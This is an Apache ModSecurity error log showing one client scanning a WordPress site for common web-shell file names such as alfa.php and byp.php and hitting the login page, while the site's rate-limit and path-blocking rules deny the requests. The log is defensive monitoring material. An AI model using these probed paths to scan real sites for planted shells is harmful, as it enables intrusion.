[Sat Feb 21 03:21:26.992756 2026] [:error] [pid 38164:tid 38258] [client 104.46.226.22:60696] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aZi0NtbO3dRxYRcZLe2MDwAAABE"]
[Sat Feb 21 03:21:27.530038 2026] [:error] [pid 38340:tid 38352] [client 104.46.226.22:60459] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aZi0Nxwhxuy_mBXA_-IpZwAAAMo"]
[Sat Feb 21 03:21:28.057615 2026] [:error] [pid 38165:tid 38295] [client 104.46.226.22:60656] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aZi0OMveKhyo2vBHvI-vggAAAFg"]
[Sat Feb 21 03:21:28.649682 2026] [:error] [pid 38164:tid 38251] [client 104.46.226.22:60920] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aZi0ONbO3dRxYRcZLe2MEwAAAAo"]
[Sat Feb 21 03:21:29.420979 2026] [:error] [pid 38340:tid 38355] [client 104.46.226.22:54800] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aZi0ORwhxuy_mBXA_-IpawAAAM0"]
[Sat Feb 21 03:21:30.351397 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:46891] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aZi0OsveKhyo2vBHvI-vjAAAAFQ"]
[Sat Feb 21 03:21:31.327827 2026] [:error] [pid 38165:tid 38280] [client 104.46.226.22:60686] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aZi0O8veKhyo2vBHvI-vjwAAAEk"]
[Sat Feb 21 03:21:31.627386 2026] [:error] [pid 38166:tid 38322] [client 104.46.226.22:46879] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aZi0OzatjXy17zTTzEFaJAAAAJg"]
[Sat Feb 21 03:21:31.957922 2026] [:error] [pid 38340:tid 38365] [client 104.46.226.22:5871] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aZi0Oxwhxuy_mBXA_-IpbQAAANc"]
[Sat Feb 21 03:21:32.329063 2026] [:error] [pid 38166:tid 38320] [client 104.46.226.22:60352] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aZi0PDatjXy17zTTzEFaKQAAAJY"]
[Sat Feb 21 03:21:32.656966 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:46880] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aZi0PDatjXy17zTTzEFaLAAAAJM"]
[Sat Feb 21 03:21:33.221172 2026] [:error] [pid 38165:tid 38278] [client 104.46.226.22:5586] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "aZi0PcveKhyo2vBHvI-vlgAAAEc"]
[Sat Feb 21 03:21:33.537252 2026] [:error] [pid 38164:tid 38249] [client 104.46.226.22:60629] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZi0PdbO3dRxYRcZLe2MGQAAAAg"]
[Sat Feb 21 03:21:33.956941 2026] [:error] [pid 38166:tid 38307] [client 104.46.226.22:60435] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZi0PTatjXy17zTTzEFaMQAAAIk"]
[Sat Feb 21 03:21:34.455824 2026] [:error] [pid 38340:tid 38362] [client 104.46.226.22:60934] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZi0Phwhxuy_mBXA_-IpcAAAANQ"]
[Sat Feb 21 03:21:35.410422 2026] [:error] [pid 38166:tid 38322] [client 104.46.226.22:5598] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aZi0PzatjXy17zTTzEFaNgAAAJg"]
[Sat Feb 21 03:21:39.333027 2026] [:error] [pid 38166:tid 38302] [client 104.46.226.22:60902] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aZi0QzatjXy17zTTzEFaRgAAAIQ"]
[Sat Feb 21 03:21:39.698586 2026] [:error] [pid 38166:tid 38313] [client 104.46.226.22:60419] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aZi0QzatjXy17zTTzEFaSQAAAI8"]
[Sat Feb 21 03:21:40.461877 2026] [:error] [pid 38166:tid 38321] [client 104.46.226.22:60889] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aZi0RDatjXy17zTTzEFaTwAAAJc"]
[Sat Feb 21 03:21:41.029943 2026] [:error] [pid 38165:tid 38277] [client 104.46.226.22:54817] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aZi0RcveKhyo2vBHvI-vnwAAAEY"]
[Sat Feb 21 03:21:41.856656 2026] [:error] [pid 38165:tid 38290] [client 104.46.226.22:5935] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZi0RcveKhyo2vBHvI-voQAAAFM"]
[Sat Feb 21 03:21:42.827861 2026] [:error] [pid 38164:tid 38246] [client 104.46.226.22:60396] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZi0RtbO3dRxYRcZLe2MKAAAAAU"]
[Sat Feb 21 03:21:43.288793 2026] [:error] [pid 38164:tid 38248] [client 104.46.226.22:60930] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZi0R9bO3dRxYRcZLe2MKQAAAAc"]
[Sat Feb 21 03:21:43.721486 2026] [:error] [pid 38166:tid 38307] [client 104.46.226.22:60923] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/admin.php"] [unique_id "aZi0RzatjXy17zTTzEFaUwAAAIk"]
[Sat Feb 21 03:21:44.326380 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:60880] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0SMveKhyo2vBHvI-vpQAAAEI"]
[Sat Feb 21 03:21:44.908451 2026] [:error] [pid 38340:tid 38343] [client 104.46.226.22:5610] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0SBwhxuy_mBXA_-IpegAAAME"]
[Sat Feb 21 03:21:45.308508 2026] [:error] [pid 38165:tid 38272] [client 104.46.226.22:60910] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0ScveKhyo2vBHvI-vqgAAAEE"]
[Sat Feb 21 03:21:45.654782 2026] [:error] [pid 38165:tid 38284] [client 104.46.226.22:60353] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aZi0ScveKhyo2vBHvI-vqwAAAE0"]
[Sat Feb 21 03:21:46.597522 2026] [:error] [pid 38166:tid 38302] [client 104.46.226.22:60704] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aZi0SjatjXy17zTTzEFaWgAAAIQ"]
[Sat Feb 21 03:21:47.153895 2026] [:error] [pid 38340:tid 38364] [client 104.46.226.22:60664] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aZi0Sxwhxuy_mBXA_-IpfwAAANY"]
[Sat Feb 21 03:21:47.501791 2026] [:error] [pid 38165:tid 38294] [client 104.46.226.22:60612] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aZi0S8veKhyo2vBHvI-vrQAAAFc"]
[Sat Feb 21 03:21:47.936464 2026] [:error] [pid 38164:tid 38243] [client 104.46.226.22:60615] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aZi0S9bO3dRxYRcZLe2MMwAAAAI"]
[Sat Feb 21 03:21:48.669966 2026] [:error] [pid 38340:tid 38346] [client 104.46.226.22:60897] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aZi0TBwhxuy_mBXA_-IpggAAAMQ"]
[Sat Feb 21 03:21:49.011015 2026] [:error] [pid 38166:tid 38311] [client 104.46.226.22:60932] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aZi0TTatjXy17zTTzEFaYwAAAI0"]
[Sat Feb 21 03:21:49.667862 2026] [:error] [pid 38166:tid 38310] [client 104.46.226.22:60879] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aZi0TTatjXy17zTTzEFaZgAAAIw"]
[Sat Feb 21 03:21:50.244947 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:5843] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp.php"] [unique_id "aZi0TsveKhyo2vBHvI-vrwAAAEI"]
[Sat Feb 21 03:21:50.757768 2026] [:error] [pid 38164:tid 38261] [client 104.46.226.22:5883] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aZi0TtbO3dRxYRcZLe2MOwAAABQ"]
[Sat Feb 21 03:21:52.005298 2026] [:error] [pid 38166:tid 38321] [client 104.46.226.22:60691] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aZi0UDatjXy17zTTzEFabAAAAJc"]
[Sat Feb 21 03:21:52.683676 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:5580] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-trackback.php"] [unique_id "aZi0UMveKhyo2vBHvI-vsAAAAEM"]
[Sat Feb 21 03:22:00.918854 2026] [:error] [pid 38164:tid 38252] [client 104.46.226.22:60896] [client 104.46.226.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.46.226.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZi0WNbO3dRxYRcZLe2MSAAAAAs"]
[Sat Feb 21 03:22:04.549515 2026] [:error] [pid 38164:tid 38251] [client 104.46.226.22:60896] [client 104.46.226.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.46.226.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZi0XNbO3dRxYRcZLe2MUwAAAAo"]
[Sat Feb 21 03:22:07.081252 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:60911] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZi0XzatjXy17zTTzEFakQAAAIo"]
[Sat Feb 21 03:22:10.384773 2026] [:error] [pid 38166:tid 38298] [client 104.46.226.22:5594] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aZi0YjatjXy17zTTzEFamAAAAIA"]
[Sat Feb 21 03:22:16.111828 2026] [autoindex:error] [pid 38166:tid 38310] [client 104.46.226.22:60959] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Feb 21 03:22:16.289403 2026] [:error] [pid 38166:tid 38314] [client 104.46.226.22:60959] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/about.php"] [unique_id "aZi0aDatjXy17zTTzEFasAAAAJA"]
[Sat Feb 21 03:22:20.090105 2026] [:error] [pid 38164:tid 38259] [client 104.46.226.22:60945] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aZi0bNbO3dRxYRcZLe2MagAAABI"]
[Sat Feb 21 03:22:25.129489 2026] [:error] [pid 38164:tid 38263] [client 104.46.226.22:60457] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZi0cdbO3dRxYRcZLe2MeAAAABY"]
[Sat Feb 21 03:22:25.618401 2026] [:error] [pid 38165:tid 38273] [client 104.46.226.22:65526] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZi0ccveKhyo2vBHvI-wAAAAAEI"]
[Sat Feb 21 03:22:26.584090 2026] [:error] [pid 38166:tid 38303] [client 104.46.226.22:65031] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZi0cjatjXy17zTTzEFauQAAAIU"]
[Sat Feb 21 03:22:27.360747 2026] [:error] [pid 38340:tid 38356] [client 104.46.226.22:60924] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aZi0cxwhxuy_mBXA_-IpyAAAAM4"]
[Sat Feb 21 03:22:27.695777 2026] [:error] [pid 38166:tid 38304] [client 104.46.226.22:65493] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aZi0czatjXy17zTTzEFauwAAAIY"]
[Sat Feb 21 03:22:27.995626 2026] [:error] [pid 38165:tid 38279] [client 104.46.226.22:60631] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aZi0c8veKhyo2vBHvI-wBQAAAEg"]
[Sat Feb 21 03:22:28.399212 2026] [:error] [pid 38166:tid 38300] [client 104.46.226.22:5886] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aZi0dDatjXy17zTTzEFavAAAAII"]
[Sat Feb 21 03:22:28.762111 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:5602] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/colors/blue/index.php"] [unique_id "aZi0dMveKhyo2vBHvI-wBwAAAEM"]
[Sat Feb 21 03:22:29.055601 2026] [:error] [pid 38164:tid 38260] [client 104.46.226.22:60892] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aZi0ddbO3dRxYRcZLe2MhAAAABM"]
[Sat Feb 21 03:22:29.378942 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:54831] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aZi0dcveKhyo2vBHvI-wCgAAAEU"]
